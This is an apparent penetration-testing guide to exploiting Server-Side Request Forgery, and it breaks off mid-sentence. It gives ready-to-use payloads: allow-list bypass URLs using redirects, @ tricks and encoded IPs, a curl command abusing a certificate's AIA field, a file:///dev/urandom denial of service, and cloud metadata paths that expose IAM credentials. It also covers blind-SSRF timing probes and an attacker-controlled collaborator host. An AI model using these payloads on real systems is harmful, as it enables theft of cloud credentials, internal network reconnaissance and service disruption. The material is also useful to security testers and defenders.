Guide to identifying and exploiting Server-Side Request Forgery vulnerabilities, including protocol abuse, cloud metadata access, DNS rebinding, and blind SSRF techniques.
A Server-Side Request Forgery (SSRF) vulnerability occurs when an attacker manipulates a server-side application into making HTTP requests to a domain of their choice, exposing the server to arbitrary external or internal requests.
SSRF is often restricted to whitelisted domains. Common bypass techniques:
# Open redirect chainhttps://victim.com/redirect?url=http://169.254.169.254/# Using @ in URLhttp://[email protected]/# IPv6 encodinghttp://[::1]:80/# Decimal IP encodinghttp://2130706433/ (127.0.0.1)# Octal encodinghttp://0177.0.0.1/
Some TLS stacks auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true makes the server dereference attacker-controlled URIs during the TLS handshake, before any HTTP logic runs.
# Trigger SSRF via crafted client certificate AIA fieldcurl https://mtls-server:8444 \ --key client-aia-key.pem \ --cert client-aia-localhost-cert.pem \ --cacert ca-cert.pem# Server will fetch: http://localhost:8080 (attacker-controlled URL in AIA)# DoS via file://# Setting AIA CA Issuers to file:///dev/urandom makes Java read unbounded bytes
In cloud environments, SSRF can access metadata endpoints:
# AWShttp://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/meta-data/iam/security-credentials/# GCPhttp://metadata.google.internal/computeMetadata/v1/# (requires: Metadata-Flavor: Google header via Gopher)# Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01
Check timing of server responses to determine if a resource exists:
Requests to existing internal hosts may respond faster or slower.
Use timing differences to map internal networks.
Use an out-of-band DNS interaction to confirm SSRF:
http://attacker-burp-collaborator.net/
Any DNS query confirms the vulnerability.
According to research, sending redirect responses (305–309) in a SSRF chain can cause the application to enter an error mode that prints the full response:
